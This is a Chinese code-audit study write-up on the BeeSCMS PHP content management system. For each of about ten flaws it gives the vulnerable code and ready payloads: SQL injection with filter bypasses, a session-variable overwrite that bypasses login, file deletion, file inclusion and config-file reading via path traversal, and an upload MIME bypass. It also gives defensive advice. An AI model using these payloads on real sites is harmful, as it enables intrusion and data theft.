beescms代码审计学习
字数 1295 2025-08-26 22:12:02

BeeSCMS代码审计学习文档

1. 环境搭建

  1. 从官网下载BeeSCMS源码
  2. 使用phpstudy搭建环境
  3. 安装完成后,配置文件位于/data/confing.php

2. 已知漏洞概览

根据CNVD记录,BeeSCMS存在以下类型漏洞:

  • 文件上传
  • SQL注入
  • 文件包含
  • 越权访问
  • 文件读取
  • 代码执行
  • CSRF
  • 文件删除

3. 详细漏洞分析

3.1 后台登录SQL注入

漏洞文件: /admin/login.php

漏洞点:

$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
check_login($user,$password);

过滤函数分析:

function fl_value($str){
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete union | from | where | group | into |load_file|outfile/i','',$str);
}

function fl_html($str){
    return htmlspecialchars($str);
}

绕过方法:

  1. 双写绕过: seselectlect, a and nd
  2. 大小写绕过: SeLeCt
  3. 使用单引号或hex编码绕过htmlspecialchars

注入利用:

admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#

3.2 变量覆盖导致后台登录绕过

漏洞文件: includes/init.php

漏洞点:

session_start();
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

利用方法:
通过POST传递session值:

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888

访问路径:
访问admin/admin.php即可绕过登录

3.3 后台SQL注入(admin_ajax.php)

漏洞文件: /admin/admin_ajax.php

漏洞点:

$field = $_REQUEST['field'];
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";

利用方法:

/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+

3.4 任意文件删除漏洞

漏洞文件: /admin/admin_ajax.php

漏洞点:

$file=CMS_PATH.'upload/'.$value;
@unlink($file);

利用方法:

/admin/admin_ajax.php?action=del_pic&value=../1.txt

3.5 后台SQL注入(admin_book.php)

漏洞文件: /admin/admin_book.php

漏洞点:

$id=$_GET['id'];
$sql="delete from ".DB_PRE."book where id=".$id;

利用方法:

/admin/admin_book.php?action=del&id=11 or updatexml(1,concat(0x23,database()),1)--+

批量删除同样存在问题:

foreach($id as $k=>$v){
    $sql="delete from ".DB_PRE."book where id=".$v;
    $mysql->query($sql);
}

3.6 后台SQL注入(admin_channel.php)

漏洞点:

$cate_id = $_GET['cate_id'];
$GLOBALS['mysql']->query("delete from ".DB_PRE."category where cate_parent=".$cate_id);

利用方法:

/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or updatexml(1,concat(0x23,database()),1)--+

3.7 后台SQL注入(category.php)

漏洞文件: /admin/category.php

漏洞点:

$parent = $_GET['parent'];
$sql="select cate_name from ".DB_PRE."category where id=".$parent;

利用方法:

/admin/admin_catagory.php?action=child&channel_id=111&parent=1111%20or%20updatexml(1,concat(0x23,database()),1)--+

3.8 后台文件上传漏洞

漏洞文件: /admin/upload.php

漏洞点:

$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
    msg('上传图片格式不正确');
}

绕过方法:
修改上传文件的MIME类型为允许的类型之一:

  • image/gif
  • image/jpeg
  • image/png
  • image/jpg
  • image/bmp
  • image/pjpeg

3.9 文件包含漏洞

漏洞文件: /admin/channel.php

漏洞点:

$file_path = DATA_PATH.'backup/'.$file_name.'.php';
include($file_path);

利用方法:
通过目录穿越包含任意文件:

POST /admin/admin_channel.php
file_name=../phpinfo

3.10 任意文件读取漏洞

漏洞文件: /admin/admin_template.php

漏洞点:

$file = $_GET['file'];
$path=CMS_PATH.$file;
$fp=@fopen($path,'r+');
$str=@fread($fp,filesize($path));

利用方法:

/admin/admin_template.php?action=xg&file=template/default/%2e%2e/%2e%2e/data/confing.php

4. 防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用预处理语句防止SQL注入
  3. 对文件操作进行严格的路径检查,防止目录穿越
  4. 对上传文件进行内容检查而不仅仅是MIME类型检查
  5. 避免使用extract()等可能导致变量覆盖的函数
  6. 对session进行严格的验证
  7. 限制文件包含的范围,避免动态包含

5. 总结

BeeSCMS存在多处安全漏洞,主要集中在:

  1. 输入过滤不严格导致的SQL注入
  2. 变量覆盖导致的权限绕过
  3. 文件操作缺乏安全检查
  4. 上传功能验证不足

审计时应重点关注用户输入的处理、数据库操作、文件操作等关键功能点,特别是未经过滤直接拼接SQL语句或文件路径的地方。

BeeSCMS代码审计学习文档 1. 环境搭建 从官网下载BeeSCMS源码 使用phpstudy搭建环境 安装完成后,配置文件位于 /data/confing.php 2. 已知漏洞概览 根据CNVD记录,BeeSCMS存在以下类型漏洞: 文件上传 SQL注入 文件包含 越权访问 文件读取 代码执行 CSRF 文件删除 3. 详细漏洞分析 3.1 后台登录SQL注入 漏洞文件 : /admin/login.php 漏洞点 : 过滤函数分析 : 绕过方法 : 双写绕过: seselectlect , a and nd 大小写绕过: SeLeCt 使用单引号或hex编码绕过htmlspecialchars 注入利用 : 3.2 变量覆盖导致后台登录绕过 漏洞文件 : includes/init.php 漏洞点 : 利用方法 : 通过POST传递session值: 访问路径 : 访问 admin/admin.php 即可绕过登录 3.3 后台SQL注入(admin_ ajax.php) 漏洞文件 : /admin/admin_ajax.php 漏洞点 : 利用方法 : 3.4 任意文件删除漏洞 漏洞文件 : /admin/admin_ajax.php 漏洞点 : 利用方法 : 3.5 后台SQL注入(admin_ book.php) 漏洞文件 : /admin/admin_book.php 漏洞点 : 利用方法 : 批量删除同样存在问题: 3.6 后台SQL注入(admin_ channel.php) 漏洞点 : 利用方法 : 3.7 后台SQL注入(category.php) 漏洞文件 : /admin/category.php 漏洞点 : 利用方法 : 3.8 后台文件上传漏洞 漏洞文件 : /admin/upload.php 漏洞点 : 绕过方法 : 修改上传文件的MIME类型为允许的类型之一: image/gif image/jpeg image/png image/jpg image/bmp image/pjpeg 3.9 文件包含漏洞 漏洞文件 : /admin/channel.php 漏洞点 : 利用方法 : 通过目录穿越包含任意文件: 3.10 任意文件读取漏洞 漏洞文件 : /admin/admin_template.php 漏洞点 : 利用方法 : 4. 防御建议 对所有用户输入进行严格的过滤和转义 使用预处理语句防止SQL注入 对文件操作进行严格的路径检查,防止目录穿越 对上传文件进行内容检查而不仅仅是MIME类型检查 避免使用extract()等可能导致变量覆盖的函数 对session进行严格的验证 限制文件包含的范围,避免动态包含 5. 总结 BeeSCMS存在多处安全漏洞,主要集中在: 输入过滤不严格导致的SQL注入 变量覆盖导致的权限绕过 文件操作缺乏安全检查 上传功能验证不足 审计时应重点关注用户输入的处理、数据库操作、文件操作等关键功能点,特别是未经过滤直接拼接SQL语句或文件路径的地方。